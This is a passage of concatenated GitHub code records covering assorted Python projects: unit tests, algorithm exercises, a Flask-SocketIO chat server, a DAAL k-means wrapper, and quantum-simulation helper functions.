output = fill_gaps(input, lookahead=20)\n\n assert expected == output.tolist()\n\n\n\ndef test_fill_gaps_smalllookahaead():\n input = np.array([0,0,1,0,0,0,0,1,0,0])\n expected = [0,0,1,0,0,0,0,1,0,0]\n\n output = fill_gaps(input, lookahead=3)\n\n assert expected == output.tolist()\n\n\ndef test_get_two_longest_timestamps_regular():\n input = [(0,10), (0,5), (20,21)]\n expected = [(0,10), (0,5)]\n\n output = get_two_longest_timestamps(input)\n\n assert expected == output\n\ndef test_get_two_longest_timestamps_singlevalue():\n input = [(0,10)]\n expected = [(0,10)]\n\n output = get_two_longest_timestamps(input)\n\n assert expected == output","repo_name":"nielstenboom/recurring-content-detector","sub_path":"tests/test_detector.py","file_name":"test_detector.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"28"} +{"seq_id":"71642829836","text":"# 수식최대화2를 참고한 내풀이.\n\nfrom itertools import permutations\nimport re\n\ndef solution(expression):\n answer = []\n # oper = set()\n # for i in expression:\n # if not i.isdigit():\n # oper.add(i)\n # oper = list(oper)\n oper = [x for x in ['*', '+', '-'] if x in expression] # 위 5줄을 한줄로 만들수있는 코드\n\n opers = list(list(x) for x in permutations(oper, len(oper)))\n li = re.split(r'(\\D)', expression) # 정규표현식\n\n print('opers',opers)\n print('li',li)\n\n for op in opers:\n _op = op[:] # 굳이 deepcopy를 안써도 되는군.. [:]는 얕은 복사 인듯하다.\n _li = li[:]\n for i in _op:\n while i in _li:\n index = _li.index(i)\n calcul = _li[index-1] + _li[index] + _li[index+1]\n num = eval(calcul)\n _li[index] = str(num)\n del _li[index+1]\n del _li[index-1]\n answer.append(_li[0])\n print('answer ', answer)\n\n return max([abs(int(i)) for i in answer])\n\n\nprint(solution(\"100-200*300-500+20\"))","repo_name":"yongmon01/AlgorithmStudy","sub_path":"카카오문제/2020인턴쉽/수식최대화3.py","file_name":"수식최대화3.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"35101536164","text":"import datetime\r\nimport pytz\r\n\r\n\r\ndef get_days_until_birthday(birth_month, birth_day):\r\n current_time = datetime.datetime.now(pytz.timezone('Europe/Bucharest'))\r\n birthday_this_year = datetime.date(current_time.year, birth_month, birth_day)\r\n birthday_next_year = datetime.date(current_time.year + 1, birth_month, birth_day)\r\n today = datetime.date(current_time.year, current_time.month, current_time.day)\r\n if birthday_this_year < today:\r\n diff = birthday_next_year - today\r\n else:\r\n diff = birthday_this_year - today\r\n print(f'Pana la ziua ta mai sunt: {diff.days} de zile')\r\n if today == birthday_this_year:\r\n print('La multi ani, de ziua ta!')\r\n\r\nprint('Hai sa verificam cat mai e pana la ziua ta, completeaza urmatoarele date.')\r\nuser_birth_month = int(input('Luna in care iti serbezi ziua (MM): '))\r\nuser_birth_day = int(input('Ziua in care iti serbezi ziua(DD): '))\r\nget_days_until_birthday(user_birth_month, user_birth_day)\r\n\r\n\r\n\r\n# from datetime import date\r\n# date_components = input('Enter your birthday formatted as YYYY-MM-DD: ').split('-')\r\n# year, month, day = [int(item) for item in date_components]\r\n# birthday = date(year, month, day)\r\n#\r\n# today = date.today()\r\n#\r\n# def calculate_dates(birthday, today):\r\n# birthday = date(today.year, birthday.month, birthday.day)\r\n# if birthday < today:\r\n# birthday = birthday.replace(year=today.year + 1)\r\n# return birthday\r\n# else:\r\n# return birthday\r\n#\r\n#\r\n#\r\n#\r\n# bday = birthday\r\n# t = calculate_dates(birthday, today)\r\n# time_to_birthday = abs(t-today)\r\n# days=str(time_to_birthday.days)\r\n# print(\"Time to Birthday is :\" + days + \" days\")","repo_name":"SimaElisabeta/ITFactoryHomework","sub_path":"sesiunea5/teste/test_studiu5.py","file_name":"test_studiu5.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"73044319754","text":"from typing import Dict\nfrom shelley.parsers.yaml import yaml2shelley\nfrom shelley.ast.devices import Device\nfrom shelley.ast.visitors.pprint import PrettyPrintVisitor\n\nyaml_led = \"\"\"\n name: Led\n start_with: [on]\n end_with: $ANY\n operations:\n on:\n next: [off]\n off:\n next: [on]\n\"\"\"\n\nyaml_button = \"\"\"\n name: Button\n start_with: [pressed]\n end_with: $ANY\n operations:\n pressed:\n next: [released]\n released:\n next: [pressed]\n\"\"\"\n\nyaml_timer = \"\"\"\n name: Timer\n start_with: [started]\n end_with: [canceled, timeout]\n operations:\n started:\n next: [canceled, timeout]\n canceled:\n next: [started]\n timeout:\n next: [started]\n\"\"\"\n\nyaml_desklamp = \"\"\"\n name: DeskLamp\n subsystems:\n ledA: Led\n ledB: Led\n b: Button\n t: Timer\n start_with: [level1]\n end_with: $ANY\n operations:\n level1:\n integration: [b.pressed, b.released, ledA.on, t.started]\n next: [standby1, level2]\n level2:\n next: [standby2]\n integration:\n - b.pressed\n - b.released\n - xor:\n - [t.canceled, ledB.on]\n - [ledB.on, t.canceled]\n - t.started\n standby1:\n next: [level1]\n integration: [t.timeout, ledA.off]\n standby2:\n next: [level1]\n integration:\n - xor:\n - [b.pressed, b.released, t.canceled]\n - t.timeout\n - xor:\n - [ledB.off, ledA.off]\n - [ledA.off, ledB.off]\n\"\"\"\n\n\ndef test_pprint_led() -> None:\n visitor = PrettyPrintVisitor()\n yaml2shelley.get_shelley_from_yaml_str(yaml_led).accept(visitor)\n expected_str = \"\"\"Device Led:\n events:\n on, off\n start events:\n on\n final events:\n on, off\n behaviours:\n on -> off\n off -> on\n triggers:\n on: fired\n off: fired\n\n\"\"\"\n print(visitor.result)\n assert (\n visitor.result == expected_str\n ) # this can be wrong because Set doesn't guarantee elements ordering\n\n\ndef test_pprint_button() -> None:\n visitor = PrettyPrintVisitor()\n yaml2shelley.get_shelley_from_yaml_str(yaml_button).accept(visitor)\n print(visitor.result)\n\n\ndef test_pprint_timer() -> None:\n visitor = PrettyPrintVisitor()\n yaml2shelley.get_shelley_from_yaml_str(yaml_timer).accept(visitor)\n print(visitor.result)\n\n\ndef test_pprint_desklamp() -> None:\n declared_devices: Dict[str, Device] = {}\n\n d_led: Device = yaml2shelley.get_shelley_from_yaml_str(yaml_led)\n declared_devices[d_led.name] = d_led\n\n d_button: Device = yaml2shelley.get_shelley_from_yaml_str(yaml_button)\n declared_devices[d_button.name] = d_button\n\n d_timer: Device = yaml2shelley.get_shelley_from_yaml_str(yaml_timer)\n declared_devices[d_timer.name] = d_timer\n\n d_desk_lamp: Device = yaml2shelley.get_shelley_from_yaml_str(yaml_desklamp)\n\n visitor = PrettyPrintVisitor(components=d_desk_lamp.components)\n d_desk_lamp.accept(visitor)\n print(visitor.result)\n\n expected_str = \"\"\"Device DeskLamp uses Led, Button, Timer:\n events:\n level1, level2, standby1, standby2\n start events:\n level1\n final events:\n level1, level2, standby1, standby2\n behaviours:\n level1 -> standby1\n level1 -> level2\n level2 -> standby2\n standby1 -> level1\n standby2 -> level1\n subsystems:\n Led ledA, Led ledB, Button b, Timer t\n triggers:\n level1: b.pressed; b.released; ledA.on; t.started;\n level2: b.pressed; b.released; (t.canceled; ledB.on;) xor (ledB.on; t.canceled;) t.started;\n standby1: t.timeout; ledA.off;\n standby2: (b.pressed; b.released; t.canceled;) xor (t.timeout;) (ledB.off; ledA.off;) xor (ledA.off; ledB.off;)\n\n\"\"\"\n\n assert (\n visitor.result == expected_str\n ) # this can be wrong because Set doesn't guarantee elements ordering\n","repo_name":"cajomferro/shelley","sub_path":"tests/test_yaml/test_pprint_visitor.py","file_name":"test_pprint_visitor.py","file_ext":"py","file_size_in_byte":3807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"70433242634","text":"import pandas as pd\nimport numpy as np\nimport tensorflow\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom tensorflow.keras.preprocessing.text import one_hot\nfrom tensorflow.keras.layers import Embedding\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.models import Sequential\nfrom sklearn.metrics.pairwise import cosine_similarity,cosine_distances\nfrom sklearn.metrics.pairwise import euclidean_distances\n\nn='TargetDataBasecsv.csv'\nm='completedclient.csv'\ndf=pd.read_csv(n)\ndf1=pd.read_csv(m)\n\nfirst=df1.iloc[0].tolist()\n\nfrom sklearn.preprocessing import OneHotEncoder\nenc = OneHotEncoder(handle_unknown='ignore')\n'''\ndef sample(first):\n return first\nx=np.vectorize(sample,otypes=[np.ndarray])\na = np.arange(19)\nprint(x(a))\n#print(x)\n'''\nnewdf=[]\nfor i in first:\n res=isinstance(i,str)\n if res:\n newdf.append(i)\nprint(newdf)\nvectorizer = CountVectorizer()\nX = vectorizer.fit_transform(newdf)\nprint(X.toarray())\nprint(X.shape)\n\nvectorizer1 = TfidfVectorizer()\nY = vectorizer1.fit_transform(newdf)\nprint(Y.toarray())\nprint(Y.shape)\n#print(vectorizer.get_feature_names())\n#print(temp)\n\nvoc_size=10000\nonehot_repr=[one_hot(words,voc_size)for words in newdf] \n#print(onehot_repr)\n\nsent_length=2\nembedded_docs=pad_sequences(onehot_repr,padding='pre',maxlen=sent_length)\nprint(embedded_docs)\nprint(embedded_docs.shape)\n\n# column vectors\n\nym=df.columns.values.tolist()\nvectorizer3 = CountVectorizer()\nX1 = vectorizer.fit_transform(ym)\nprint(X1.toarray())\nprint(X1.shape)\n\nvectorizer4 = TfidfVectorizer()\nY1 = vectorizer4.fit_transform(ym)\nprint(Y1.toarray())\nprint(Y1.shape)\n\nvoc_size1=10000\nonehot_repr1=[one_hot(words,voc_size1)for words in ym] \n#print(onehot_repr1)\n\nsent_length=2\nembedded_docs1=pad_sequences(onehot_repr1,padding='pre',maxlen=sent_length)\nprint(embedded_docs1)\nprint(embedded_docs1.shape)\n\nsim=cosine_similarity(embedded_docs,embedded_docs1)\nsim1=euclidean_distances(embedded_docs,embedded_docs1)\nprint(sim)\nprint(sim1)\n\n\n\n\n\n\n\n","repo_name":"malavikasrini21/datamapping","sub_path":"matching.py","file_name":"matching.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"5756334229","text":"\"\"\"\nWrite a function to delete a node (except the tail) in a singly linked list, given only access to that node.\nSupposed the linked list is 1 -> 2 -> 3 -> 4 and you are given the third node with value 3, the linked list should become 1 -> 2 -> 4 after calling your function.\n\nSupposing that we are given the position, we have to traverse the array\nGiven 2 as the 2nd node, we would delete 2 in 1 -> 2 -> 3\nWe do not consider the case where we delete the last node\nAssumptions: the value x is in the linked list\n\t\tWe have access to this node!\n\"\"\"\n\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\"\"\"\nMethod 1:\ncopy the next node over\n\"\"\"\ndef print_list(node):\n traverse = True\n while traverse == True:\n print(node.val, \" -> \", end=\"\")\n if node.next == None:\n traverse = False\n else:\n node = node.next\n\ndef deleteNode(node):\n \"\"\"\n :type node: ListNode\n :rtype: void Do not return anything, modify node in-place instead.\n \"\"\"\n node.val = node.next.val\n node.next = node.next.next\n \n\nif __name__ == \"__main__\":\n node_a = ListNode(1)\n node_b = ListNode(2)\n node_c = ListNode(3)\n node_d = ListNode(4)\n node_a.next = node_b\n node_b.next = node_c\n node_c.next = node_d\n print(\"The linked list is\")\n print_list(node_a)\n deleteNode(node_a)\n print(\"\\nThe list with node_a removed is\")\n print_list(node_a)\n\n node_a = ListNode(1)\n node_b = ListNode(2)\n node_a.next = node_b\n print(\"The linked list is\")\n print_list(node_a)\n deleteNode(node_a)\n print(\"\\nThe list with node_a removed is\")\n print_list(node_a)\n\n\"\"\"\nGiven 1 -> 2 we expect 2 ->\n\"\"\"\n\n \n\n","repo_name":"zmatteson/leetcode","sub_path":"solutions/delete_node.py","file_name":"delete_node.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"12261397230","text":"import tensorflow as tf\nimport os\n\njson_fpath = '/mnt/EES-Babylon/JSONFILES'\nh5_fpath = '/mnt/EES-Babylon/H5FILES_BACKUP'\njson_fname = 'convnet.json'\nh5_fname = 'weights-steps123-13.h5'\n\nprint('Loading convnet\\'s architecture from disk...')\n\njson_ffname = os.path.join(json_fpath, json_fname)\njson_file = open(json_ffname, 'r')\njson_data = json_file.read()\nconvnet = tf.keras.models.model_from_json(json_data)\njson_file.close()\n\nprint('Done!')\n\nprint('Loading convnet\\'s weights from disk...')\n\nh5_ffname = os.path.join(h5_fpath, h5_fname)\nconvnet.load_weights(h5_ffname)\n\nprint('Done!')\n","repo_name":"Eliezer-Soares-Flores/fine-tuning-isic2019","sub_path":"load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"42231101572","text":"from random import randint\r\n\r\nrivi = []\r\nrivi2 = []\r\n\r\nlaskuri = 0\r\n\r\nfor i in range(40):\r\n laskuri = laskuri+1\r\n rivi.append(laskuri)\r\n\r\ndef lotto():\r\n laskuri = 0\r\n\r\n for i in range(7):\r\n if i == 1:\r\n nro = (randint(1,39)) \r\n rivi2.append(rivi[nro-1])\r\n del rivi[nro-1]\r\n else:\r\n nro = (randint(1,39-i))\r\n rivi2.append(rivi[nro-1])\r\n del rivi[nro-1]\r\n\r\n rivi2.sort()\r\n \r\n\r\n srivi = [str(element) for element in rivi2]\r\n rivitys = \", \".join(srivi)\r\n return (rivitys)\r\n\r\nprint(lotto())","repo_name":"louhenheimo/ttc2030","sub_path":"Lab08/L08T05.py","file_name":"L08T05.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"4513242190","text":"import time\nimport pytest\nfrom selenium import webdriver\n\n@pytest.fixture(scope='session')\ndef login_cookies():\n user_data_dir = r\"--user-data-dir=C:\\Users\\issuser\\AppData\\Local\\Google\\Chrome\\User Data\"\n option = webdriver.ChromeOptions()\n option.add_argument(user_data_dir)\n driver = webdriver.Chrome(options=option, executable_path=\"../chromedriver.exe\")\n driver.get(\"https://www.cnblogs.com/\")\n time.sleep(3)\n cookies = driver.get_cookies()\n print(cookies)\n driver.quit()\n return cookies\n","repo_name":"richard-ql/pythonNotes","sub_path":"requestsTutorial/pytestSuite/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"9125457183","text":"import re\n\ndef check(string):\n n = len(string)\n if n < 9:\n return False\n\n substr = []\n for i in range(n - 2):\n substr.append(string[i:i+3])\n if len(substr) != len(set(substr)):\n return False\n\n Upper = '[A-Z]'\n Lower = '[a-z]'\n num = '\\d'\n chars = '[^A-Za-z0-9_]'\n patterns = [Upper, Lower, num, chars]\n check_type = 0\n\n for pattern in patterns:\n pw = re.search(pattern, string)\n if pw:\n check_type += 1\n if check_type < 3:\n return False\n\n return True\n\nwhile True:\n try:\n string = input()\n if check(string):\n print(\"OK\")\n else:\n print(\"NG\")\n except:\n break\n","repo_name":"henryZe/code","sub_path":"leetcode/now_coder/hw/20.py","file_name":"20.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"28"} +{"seq_id":"40663068292","text":"#!/usr/bin/env python3\n\nimport pycrfsuite\nimport sys\n\n# Inherit crfsuite.Trainer to implement message() function, which receives\n# progress messages from a training process.\nclass Trainer(pycrfsuite.Trainer):\n def message(self, s):\n # Simply output the progress messages to STDOUT.\n sys.stdout.write(s)\n\ndef instances(fi):\n xseq = []\n toks = []\n \n for line in fi:\n line = line.strip('\\n')\n if not line:\n # An empty line means the end of a sentence.\n # Return accumulated sequences, and reinitialize.\n yield xseq, toks\n xseq = []\n toks = []\n continue\n\n # Split the line with TAB characters.\n fields = line.split('\\t')\n # Append the item features to the item sequence.\n # fields are: 0=sid, 1=form, 2=span_start, 3=span_end, 4=tag, 5...N = features\n item = fields[5:] \n xseq.append(item)\n\n # Append token information (needed to produce the appropriate output)\n toks.append([fields[0],fields[1],fields[2],fields[3]])\n\n\nif __name__ == '__main__':\n # Create a Tagger object, and load given model\n tagger = pycrfsuite.Tagger()\n tagger.open(sys.argv[1])\n \n # Read training instances from STDIN, and set them to trainer.\n for xseq,toks in instances(sys.stdin):\n prediction = tagger.tag(xseq)\n inside = False;\n for k in range(0,len(prediction)) :\n y = prediction[k]\n (sid, form, offS, offE) = toks[k]\n \n if (y[0]==\"B\") :\n entity_form = form\n entity_start = offS\n entity_end = offE\n entity_type = y[2:]\n inside = True\n elif (y[0]==\"I\" and inside) :\n entity_form += \" \"+form\n entity_end = offE\n elif (y[0]==\"O\" and inside) :\n print(sid, entity_start+\"-\"+entity_end, entity_form, entity_type, sep=\"|\")\n inside = False\n \n if inside : print(sid, entity_start+\"-\"+entity_end, entity_form, entity_type, sep=\"|\")\n \n\n \n\n","repo_name":"oscarorti/drug-named-entity-recognition","sub_path":"docs/sessions/B.Session-NER.2/predict-crf.py","file_name":"predict-crf.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"} +{"seq_id":"5177021213","text":"from flask import Flask, render_template, request\nfrom waitress import serve\nfrom flask_socketio import SocketIO, join_room, leave_room\nimport random\nfrom flask_cors import CORS\nimport eventlet\n\neventlet.monkey_patch()\n\napp = Flask(__name__)\n\n\n\n# Allow connections from http://localhost:3000/\nsocketio = SocketIO(app, cors_allowed_origins=\"*\")\n\n# Dictionary to store active chat rooms\nchat_rooms = {}\nconnected_users = [\n]\n\n# Create a dictionary to store mappings of SIDs to rooms\nsid_to_room = {}\n\n# Function to change the is_connected value\ndef change_is_connected(username, new_is_connected):\n for user in connected_users:\n if user['sid'] == username:\n user['is_connected'] = new_is_connected\n break # Exit the loop once the user is found\n\ndef get_rand_user(username):\n print(connected_users)\n filtered_users = [user for user in connected_users if user['is_connected'] == False and user['username'] != username]\n\n # Check if there are any disconnected users\n if filtered_users:\n # Select a random disconnected user\n random_user = random.choice(filtered_users)\n username = random_user['sid']\n return username\n else:\n print(\"No disconnected users found.\")\n\ndef get_user(id):\n found_user = None\n for user in connected_users:\n if user['sid'] == id:\n found_user = user['username']\n break\n return found_user\n\n@socketio.on('connect_to')\ndef handle_connect(data):\n username = data['username']\n\n print(f'{username} connected')\n \n connected_users.append({'username': username, 'is_connected': False,'sid': request.sid})\n socketio.emit('message', {'message': f'{username} has connected'})\n\n@socketio.on('join_room_random')\ndef handle_join_room_random(data):\n\n print(data)\n if data.get('current_room'):\n print(data.get('random_sid'))\n leave_room(data['current_room'])\n leave_room(data['current_room'], sid=data['sid'])\n print(\"FAGFDSAFDSFHEY\")\n\n socketio.emit('user_left', room=data.get('random_sid'))\n\n username = request.sid\n random_user = get_rand_user(data.get('username'))\n\n print(random_user)\n\n # Emit a 'join_room' event for the random user\n if random_user:\n print(f'{username} connected')\n print(random_user)\n room_name = f'{username}-{random_user}'\n user = get_user(username)\n rand_user = get_user(random_user)\n join_room(room_name)\n join_room(room_name, sid=random_user)\n change_is_connected(username, True)\n change_is_connected(random_user, True)\n\n socketio.emit('join_room_for_random', {'room': room_name, 'other_user': user, 'sid': username}, room=random_user)\n socketio.emit('join_room_for_user', {'room': room_name, 'other_user': rand_user, 'sid': random_user}, room=username)\n\n socketio.emit('random_message', {'message': f'{user} has connected with {rand_user}'}, room=f'{username}-{random_user}')\n\n@socketio.on('join_room')\ndef handle_join_room(data):\n\n room_name = data['room']\n join_room(room_name)\n # Emit a 'join_room' event for the random user\n # socketio.emit('join_room', {'room': room_name}, room=room_name)\n\n # socketio.emit('user_message', {'message': f'{username} has connected with {random_user}',\n # 'user1': username,'user2': random_user}, room=f'{username}-{random_user}')\n\n\n@socketio.on('leave_room')\ndef handle_room_leave(data):\n room_name = data['room']\n leave_room(room_name)\n\n\n\n@socketio.on('disconnect')\ndef handle_disconnect():\n room_name = request.sid\n\n leave_room(room_name) # Leave the specified chat room\n socketio.emit('message', {'message': f'{username} has left the room'}, room=room_name)\n new_connected_users = [user for user in connected_users if user['sid'] == request.sid]\n connected_users = new_connected_users\n print(request.sid)\n\n@socketio.on('get_random_user')\ndef handle_random_room():\n # username = data['username']\n # room = data['room']\n # join_room(room);\n # socket.io.emit('message', {'message': f'{username} has joined the room'})\n filtered_users = [user for user in connected_users if not user['is_connected']]\n\n # Check if there are any disconnected users\n if filtered_users:\n # Select a random disconnected user\n random_user = random.choice(filtered_users)\n username = random_user['username']\n print(f\"Random disconnected user: {username}\")\n else:\n print(\"No disconnected users found.\")\n\n@socketio.on('message')\ndef handle_message(data):\n message = data['message']\n room_name = data['room']\n username = get_user(request.sid)\n print(f'Received message in room {room_name}: {message}')\n socketio.emit('user_message', \n {'message': message, 'username' : username, 'room': room_name}, room=room_name)\n\nif __name__ == '__main__':\n print(\"Server is running on 0.0.0.0\")\n socketio.run(app, debug=True, host='0.0.0.0', port=8000) \n","repo_name":"Thethickinnchickin/ChatAppPythonTest","sub_path":"next-chat-app/api/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"43260174439","text":"\"\"\"\nClustering class to support Intel® Data Analytics Acceleration Library.\n\"\"\"\n\nimport numpy as np\n\ntry:\n import daal4py as d4p\nexcept ImportError as e:\n d4p = None\n\nfrom . import baseoperationclass\n\nNUM_CLUSTERS_DEFAULT = 5\nNUM_ITERATIONS_DEFAULT = 5\n\n\nclass DAALKMeansClustering(baseoperationclass.BaseOperationClass):\n\n _operation_name = 'Intel DAAL K-Means Clustering'\n _operation_code_name = 'DAALKMeans'\n _type_of_operation = 'cluster'\n\n def __init__(self):\n super().__init__()\n self.num_clusters = NUM_CLUSTERS_DEFAULT\n self.selected_features = []\n self.model = None\n self.centers = None\n self.labels = None\n\n def _preprocessed_data(self, data):\n return data if not self.selected_features \\\n else data.loc[:, self.selected_features]\n\n def set_parameters(self, num_clusters, features=None):\n if num_clusters is not None:\n self.num_clusters = num_clusters\n if features is not None and isinstance(features, (list, tuple)):\n self.selected_features = list(features)\n return True # TODO: \"return\"-statement should be removed\n\n def get_parameters(self):\n return {'numclusters_DAALKMeans': self.num_clusters,\n 'features_DAALKMeans': self.selected_features}\n\n def get_labels(self, data, reprocess=False):\n data = self._preprocessed_data(data)\n\n if self.model is None or reprocess:\n self.model = d4p.\\\n kmeans(nClusters=self.num_clusters,\n maxIterations=NUM_ITERATIONS_DEFAULT,\n assignFlag=True)\n\n if self.centers is None or reprocess:\n self.centers = d4p.\\\n kmeans_init(nClusters=self.num_clusters, method='randomDense').\\\n compute(data).\\\n centroids\n\n _labels = self.model.compute(data, self.centers).assignments\n self.labels = np.reshape(_labels, len(_labels))\n return self.labels\n\n # methods that should be re-worked or removed\n # (for now keep these methods for consistency with others clustering modules)\n\n def print_parameters(self):\n return self.get_parameters()\n\n def save_parameters(self):\n return self.get_parameters()\n\n def load_parameters(self, parameters):\n self.set_parameters(\n num_clusters=parameters.get('numclusters_DAALKMeans') or NUM_CLUSTERS_DEFAULT,\n features=parameters.get('features_DAALKMeans') or [])\n return True\n\n def save_results(self):\n return {'results': self.labels.tolist(),\n 'cent': self.centers.tolist(),\n 'dump': None}\n\n def load_results(self, results_dict):\n if results_dict.get('results'):\n self.labels = np.array(results_dict['results'])\n if results_dict.get('cent'):\n self.centers = np.array(results_dict['cent'])\n return True\n\n def process_data(self, data):\n return self.get_labels(data)\n\n def predict(self, data):\n return self.get_labels(data)\n\n\ntry:\n baseoperationclass.register(DAALKMeansClustering)\nexcept ValueError as e:\n print(repr(e))\n","repo_name":"PanDAWMS/InVEx","sub_path":"core/calc/clustering/DAALKMeansClustering.py","file_name":"DAALKMeansClustering.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"28"} +{"seq_id":"13986878813","text":"import numpy as np\nfrom scipy import linalg\nfrom typing import Tuple, Optional\nfrom itertools import product\nfrom openfermion import InteractionOperator\nfrom pytket.pauli import Pauli, QubitPauliString\nfrom pytket.circuit import Qubit\nfrom pytket.utils import QubitPauliOperator\n\ndef factorial(n):\n if n < 2:\n return 1\n else:\n return n * factorial(n-1)\n \n# Calculate the L1 spectral distance between the two unitary matrices which is the operator norm, largest eigen (singular) value\ndef calculate_error(U1, U2):\n # U = np.zeros((U1[0].shape), dtype='complex128')\n # M = len(U1)\n # U_sim = sum(U1)\n # print(U_sim/M)\n # print(U2)\n # print(U_sim/M - U2) \n return np.abs(linalg.eig(U1 - U2)[0]).max()\n\ndef count_parity(dict):\n parity = [i for i in list(list(dict[0].keys())[0])].count(1)\n ratio = np.zeros((len(dict),))\n ratio[0] = 1\n for i in range(1,len(dict)):\n for j in list(dict[i]):\n if list(list(j)).count(1) == parity:\n ratio[i] += dict[i][j]\n ratio[i] = ratio[i]/sum(list(dict[i].values()))\n return ratio\n\ndef qps_from_openfermion(paulis):\n \"\"\"Convert OpenFermion tensor of Paulis to pytket QubitPauliString.\"\"\"\n pauli_sym = {\"I\": Pauli.I, \"X\": Pauli.X, \"Y\": Pauli.Y, \"Z\": Pauli.Z}\n qlist = []\n plist = []\n for q, p in paulis:\n qlist.append(Qubit(q))\n plist.append(pauli_sym[p])\n return QubitPauliString(qlist, plist)\n\ndef qpo_from_openfermion(openf_op):\n \"\"\"Convert OpenFermion QubitOperator to pytket QubitPauliOperator.\"\"\"\n tk_op = dict()\n for term, coeff in openf_op.terms.items():\n string = qps_from_openfermion(term)\n tk_op[string] = coeff\n return QubitPauliOperator(tk_op)\n\ndef strings_from_openfermion(openf_op):\n \"\"\"Convert OpenFermion QubitOperator to pytket QubitPauliOperator.\"\"\"\n tk_op = dict()\n for term, coeff in openf_op.terms.items():\n string = qps_from_openfermion(term)\n tk_op[string] = coeff\n return tk_op\n\ndef replace_Pauli_strings(n,list_paulis):\n identity = 'I'*n\n for p in list_paulis:\n pos = list(p)[0]\n pauli = list(p)[1]\n identity = identity[:pos] + pauli + identity[pos + 1:] \n return identity\n\ndef convert_op_to_input(ops,n,nested=False):\n tk_op = []\n tk_coeff = []\n if nested:\n for i in range(len(ops)):\n tk_op.append([])\n tk_coeff.append([])\n for term, coeff in ops[i].terms.items():\n tk_op[i].append(replace_Pauli_strings(n,list(term)))\n tk_coeff[i].append(coeff)\n return [op[1:] for op in tk_op], [co[1:] for co in tk_coeff]\n else:\n for term, coeff in ops.terms.items():\n tk_op.append(replace_Pauli_strings(n,list(term)))\n tk_coeff.append(coeff)\n return tk_op[1:],tk_coeff[1:]\n\ndef convert_twobody_op_to_input(ops,n,nested=False):\n tk_op = []\n tk_coeff = []\n if nested:\n for i in range(len(ops)):\n tk_op.append([])\n tk_coeff.append([])\n for term, coeff in ops[i].terms.items():\n tk_op[i].append(replace_Pauli_strings(n,list(term)))\n tk_coeff[i].append(coeff)\n return tk_op, tk_coeff\n else:\n for term, coeff in ops.terms.items():\n tk_op.append(replace_Pauli_strings(n,list(term)))\n tk_coeff.append(coeff)\n return tk_op,tk_coeff\n\ndef search_depth_with_no_exp(idx,depth):\n for i in range(1,len(depth)):\n # print(depth[i])\n if idx > depth[i]:\n continue\n elif idx == depth[i]:\n return depth[i]\n elif idx < depth[i]:\n if depth[i]-idx > idx-depth[i-1]:\n return depth[i]\n else:\n return depth[i-1]\n\ndef perm_ops(t,depth,sm):\n t_step = t[-1]/depth[-1]\n ind = [[],[],[]]\n V = [[],[],[]]\n coeff = [[],[],[]]\n depth_new = [[depth[i][0]] for i in range(len(depth))]\n for i in range(len(depth)):\n for j in range(len(t)):\n idx = int(t[j] / t_step)\n depth_new[i].append(search_depth_with_no_exp(idx,depth[i]))\n # print(depth_new)\n for i in range(len(depth_new)):\n for j in range(len(depth_new[i])):\n ind[i].append(depth[i].index(depth_new[i][j]))\n for i in range(len(ind)):\n for j in range(len(ind[i])-1):\n V[i].append(np.random.permutation(sm[0][i][ind[i][j]:ind[i][j+1]]))\n coeff[i].append(np.random.permutation(sm[1][i][ind[i][j]:ind[i][j+1]]))\n return [[item for row in V[i] for item in row] for i in range(3)],[[item for row in coeff[i] for item in row] for i in range(3)]\n\ndef search_U_with_no_exp(idx,depth):\n count = 0\n idx_tmp = idx\n while idx_tmp>0:\n idx_tmp -= depth[count]\n count += 1\n count -= 1\n if abs(idx_tmp) > depth[count]//2:\n return count - 1\n else:\n return count\ndef extract_U_at_t(t,U,depth):\n if t[-1]/depth[-1] > t[0]:\n raise Exception('Get a smaller sample steps')\n U_new = [U[0]]\n t_step = t[-1]/depth[-1]\n for i in range(len(t)):\n idx = int(t[i] / t_step)\n U_new.append(U[search_U_with_no_exp(idx,depth)])\n return U_new\n\ndef Monte_Carlo_ave(t,U,depth,Ur,M=3):\n U_new = []\n U_mean = []\n for i in range(M):\n U_new.append(extract_U_at_t(t,U[i],depth[i]))\n for j in range(M):\n U_mean.append([np.abs(linalg.eig(u - u_exc)[0]).max() for u,u_exc in zip(U_new[j],Ur)])\n return np.mean(U_mean,axis=0),np.std(U_mean,axis=0) \n\ndef site_excitation_group(number,hopping,nco,hco):\n group = []\n coeff = []\n for i in range(len(hopping)):\n group.append([])\n coeff.append([])\n pos = [idx for idx in range(len(hopping[i][0])) if 